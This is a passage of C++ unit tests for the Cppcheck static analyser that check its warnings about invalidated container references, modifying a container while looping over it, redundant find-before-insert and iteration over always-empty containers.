\" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector 